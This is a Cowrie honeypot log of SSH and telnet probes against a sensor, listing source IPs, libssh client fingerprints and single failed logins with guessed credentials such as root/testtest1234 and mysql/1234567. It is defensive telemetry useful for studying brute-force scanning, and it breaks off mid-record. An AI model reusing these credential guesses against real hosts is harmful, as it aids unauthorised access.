{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:55.342536Z","src_ip":"103.158.40.65","session":"42d23d13454c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"root","message":"login attempt [sshuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:56.307990Z","src_ip":"103.158.40.65","session":"42d23d13454c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:57.546960Z","src_ip":"103.158.40.65","session":"42d23d13454c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6333,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43a18a6bce8","protocol":"ssh","message":"New connection: 131.161.219.137:6333 (159.203.135.109:22) [session: d43a18a6bce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:07.782520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:07.787387Z","src_ip":"131.161.219.137","session":"d43a18a6bce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:07.915677Z","src_ip":"131.161.219.137","session":"d43a18a6bce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest1234","message":"login attempt [root/testtest1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:08.458181Z","src_ip":"131.161.219.137","session":"d43a18a6bce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:09.588908Z","src_ip":"131.161.219.137","session":"d43a18a6bce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39234,"dst_ip":"10.17.0.5","dst_port":22,"session":"16f52d497cd7","protocol":"ssh","message":"New connection: 103.125.103.201:39234 (10.17.0.5:22) [session: 16f52d497cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:12.195738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:12.200542Z","src_ip":"103.125.103.201","session":"16f52d497cd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:12.438936Z","src_ip":"103.125.103.201","session":"16f52d497cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"pass","message":"login attempt [test2/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:13.421181Z","src_ip":"103.125.103.201","session":"16f52d497cd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:14.663067Z","src_ip":"103.125.103.201","session":"16f52d497cd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":42706,"dst_ip":"10.17.0.5","dst_port":22,"session":"3075cb775cbe","protocol":"ssh","message":"New connection: 154.81.14.172:42706 (10.17.0.5:22) [session: 3075cb775cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:21.114284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:21.119260Z","src_ip":"154.81.14.172","session":"3075cb775cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:21.333685Z","src_ip":"154.81.14.172","session":"3075cb775cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"777888","message":"login attempt [ubuntu/777888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:22.218356Z","src_ip":"154.81.14.172","session":"3075cb775cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:23.435096Z","src_ip":"154.81.14.172","session":"3075cb775cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":34328,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b7037884357","protocol":"ssh","message":"New connection: 14.103.114.231:34328 (10.17.0.5:22) [session: 1b7037884357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:30.764433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:31.621068Z","src_ip":"14.103.114.231","session":"1b7037884357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:31.625525Z","src_ip":"14.103.114.231","session":"1b7037884357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36008,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae245915d793","protocol":"telnet","message":"New connection: 135.148.33.91:36008 (159.203.135.109:23) [session: ae245915d793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:32.574360Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"davidvlad10","message":"login attempt [ubuntu/davidvlad10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:33.547122Z","src_ip":"14.103.114.231","session":"1b7037884357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:34.774559Z","src_ip":"14.103.114.231","session":"1b7037884357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":57524,"dst_ip":"10.17.0.5","dst_port":22,"session":"a03e5ab3e725","protocol":"ssh","message":"New connection: 181.97.227.163:57524 (10.17.0.5:22) [session: a03e5ab3e725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:41.196654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:41.201156Z","src_ip":"181.97.227.163","session":"a03e5ab3e725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:41.408937Z","src_ip":"181.97.227.163","session":"a03e5ab3e725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1234567","message":"login attempt [mysql/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:42.261492Z","src_ip":"181.97.227.163","session":"a03e5ab3e725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:43.469618Z","src_ip":"181.97.227.163","session":"a03e5ab3e725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":60292,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f11f4b3bf14","protocol":"ssh","message":"New connection: 43.173.69.147:60292 (159.203.135.109:22) [session: 5f11f4b3bf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:43.688096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:43.692940Z","src_ip":"43.173.69.147","session":"5f11f4b3bf14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:43.760787Z","src_ip":"43.173.69.147","session":"5f11f4b3bf14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test555","message":"login attempt [ubuntu/test555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:44.066231Z","src_ip":"43.173.69.147","session":"5f11f4b3bf14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:45.138286Z","src_ip":"43.173.69.147","session":"5f11f4b3bf14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":51958,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ecf861301b8","protocol":"ssh","message":"New connection: 103.158.40.65:51958 (159.203.135.109:22) [session: 8ecf861301b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:55.063063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:55.067797Z","src_ip":"103.158.40.65","session":"8ecf861301b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:55.277525Z","src_ip":"103.158.40.65","session":"8ecf861301b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe1234","message":"login attempt [frappe/frappe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:56.149419Z","src_ip":"103.158.40.65","session":"8ecf861301b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:41:57.358879Z","src_ip":"103.158.40.65","session":"8ecf861301b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":9498,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dac67bd35c9","protocol":"ssh","message":"New connection: 131.161.219.137:9498 (159.203.135.109:22) [session: 3dac67bd35c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:05.992679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:05.997658Z","src_ip":"131.161.219.137","session":"3dac67bd35c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly13